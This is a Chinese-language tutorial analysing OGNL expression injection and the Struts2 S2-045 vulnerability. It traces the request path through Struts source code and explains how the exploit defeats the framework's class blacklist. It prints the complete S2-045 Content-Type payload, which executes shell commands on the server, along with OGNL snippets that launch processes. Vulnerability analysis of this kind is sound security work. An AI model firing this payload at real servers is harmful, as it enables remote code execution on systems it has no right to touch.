这篇文章将会学习java中的OGNL表达式注入,并分析实例s2-045,并且所有环境都会打包放到附件中,提供给有需要的,本文如果有理解错误的地方,麻烦师傅们斧正。

什么是OGNL

1
从语言角度来说:它是一个功能强大的表达式语言,用来获取和设置 java 对象的属性 ,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。另外,java 中很多可以做的事情,也可以使用 OGNL 来完成,例如:列表映射和选择。对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个“路径”来完成对象信息的导航,这个“路径”可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。

OGNL具有三要素: 表达式、ROOT对象、上下文环境

表达式: 显然,这肯定是其中最重要的部分,通过表达式来告诉OGNL需要执行什么操作。

ROOT对象: 也就是OGNL操作的的对象,也就是说这个表达式针对谁进行操作。

上下文环境: 有了前两个条件,OGNL就能进行执行了,但是表达式有需要执行一系列操作,所以会限定这些操作在一个环境下,这个环境就是上下文环境,这个环境是个MAP结构。

漏洞的产生原因

我们通过了解OGNL的基础语法可以知道OGNl可以对ROOT对象访问、对上下文对象访问、对静态变量访问、方法的调用、对数组和集合的访问、创建对象。

需要注意的点是:

  • 当访问上下文环境的参数时,需要在表达式前面加上#
  • 访问静态变量或者调用静态方法,格式如@[class]@[field/method()]
  • 构造任意对象:直接使用已知的对象的构造方法进行构造

看执行命令的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class Main {
public static void main(String[] args) throws OgnlException{
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();
//@[类全名(包括包路径)]@[方法名|值名]
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot());
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
public class Main {
public static void main(String[] args) throws OgnlException, Exception{
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();
Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot());
}
}

实例中的注入

环境部署

我会把环境打包放到附件里,有需要的可以自行下载部署,我先说一下如何部署远程调试的环境,参考https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral的做法,制作了Dockerfile远程调试环境,

1
docker-compose up --build

把环境起来以后,然后使用IDEA将src目录下的环境用maven导入,IDEA配置如下

然后跑起来正常打断点调试

漏洞分析

Poc:

1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468

这个漏洞主要是因为在上传时使用Jakarta进行解析时,但是如果content-type错误的会进入异常,然后注入OGNL。

首先在/org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/PrepareOperations.class

1
2
3
4
5
6
7
8
9
10
11
public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
HttpServletRequest request = oldRequest;
try {
request = this.dispatcher.wrapRequest(request);
ServletActionContext.setRequest(request);
return request;
} catch (IOException var4) {
throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
}
}

这里会将http请求封装一个成一个对象

跟进函数,跟到/org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
if (request instanceof StrutsRequestWrapper) {
return request;
} else {
String content_type = request.getContentType();
Object request;
if (content_type != null && content_type.contains("multipart/form-data")) {
MultiPartRequest mpr = this.getMultiPartRequest();
LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
} else {
request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
}
return (HttpServletRequest)request;
}
}

可以看到如果content_type不为null并且content_type中包含了multipart/form-data的话就进入条件

然后到

1
request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);

会new一个对象,跟进

可以看到request对象进入了this.multi.pars,继续跟requests,到达/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class

1
2
3
4
5
public void parse(HttpServletRequest request, String saveDir) throws IOException {
LocalizedMessage errorMessage;
try {
this.setLocale(request);
this.processUpload(request, saveDir);

首先request对象进入语言设置的方法,没有啥处理,继续跟进下一个this.processUpload

然后可以跟到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
if (ctx == null) {
throw new NullPointerException("ctx parameter");
} else {
String contentType = ctx.getContentType();
if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
InputStream input = ctx.getInputStream();
int contentLengthInt = ctx.getContentLength();
long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).contentLength() : (long)contentLengthInt;
if (FileUploadBase.this.sizeMax >= 0L) {
if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) {
throw new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", requestSize, FileUploadBase.this.sizeMax), requestSize, FileUploadBase.this.sizeMax);
}
input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) {
protected void raiseError(long pSizeMax, long pCount) throws IOException {
FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", pCount, pSizeMax), pCount, pSizeMax);
throw new FileUploadBase.FileUploadIOException(ex);
}
};
}

可以看到这个判断会检测contentType是否以multipart/开头,显然不是,然后进入异常处理

1
throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));

这里会将传进来的contentType拼接后继续传递

一直跟到

1
2
3
4
5
6
while(i$.hasNext()) {
LocalizedMessage error = (LocalizedMessage)i$.next();
if (validation != null) {
validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
}
}

会进入到/com/opensymphony/xwork2/util/LocalizedTextUtil.class

然后经过调用堆栈

继续跟可以跟到/com/opensymphony/xwork2/util/TextParseUtil.class

1
2
3
public static String translateVariables(String expression, ValueStack stack) {
return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
}

跟到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
String lookupChars = open + "{";
while(true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
++loopCount;
start = expression.indexOf(lookupChars);
}
if (loopCount > maxLoopCount) {
break;
}
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
break;
}
String var = expression.substring(start + 2, end);

简单理解下这段的意思就是将咱们被污染的payload进行处理,可以是%{.*}也可以是${.*}这样的格式

后面就是作为ONGL表达式进行执行了。

payload为何如此构造

知道了漏洞产生原因,肯定是想知道poc为什么这样构造呢,我来分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%{
(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#memberAccess?(#memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').
toLowerCase().
contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
};

首先我们知道Struts2为了防御攻击,在/struts2-core-2.5.10.jar!/struts-default.xml中定义了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
ognl.MemberAccess,
ognl.DefaultMemberAccess,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />

我们必须想办法bypass它,可以看到poc的操作是先定义了DEFAULT_MEMBER_ACCESS,然后赋值给memberAccess,

然后使用GetInstance实例化OgnlUtil,然后将里面的黑名单清除,然后利用setMemberAccess进行覆盖掉,进而绕过黑名单,这个poc是大牛构造的比较通用并且有回显的,我们来看看具体实现,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
import java.lang.NullPointerException;
import com.opensymphony.xwork2.util.TextParseUtil;
public class Main {
public static void main(String[] args) throws OgnlException, Exception,NullPointerException{
//创建一个Ognl上下文对象
Object rootObject = new Object();
OgnlContext context = new OgnlContext();
TextParseUtil newparse = new TextParseUtil();
String exp = "(#nike='multipart/form-data').(#cmds={'open', '/Applications/Calculator.app'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())";
try{
Object expression = ognl.Ognl.parseExpression(exp);
String value = Ognl.getValue(expression, context, rootObject).toString();
}catch (OgnlException e){
e.printStackTrace();
}
}
}

参考:

1
2
3
4
https://landgrey.me/struts2-045-debugging/
https://xz.aliyun.com/t/2712
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
https://www.cnblogs.com/renchunxiao/p/3423299.html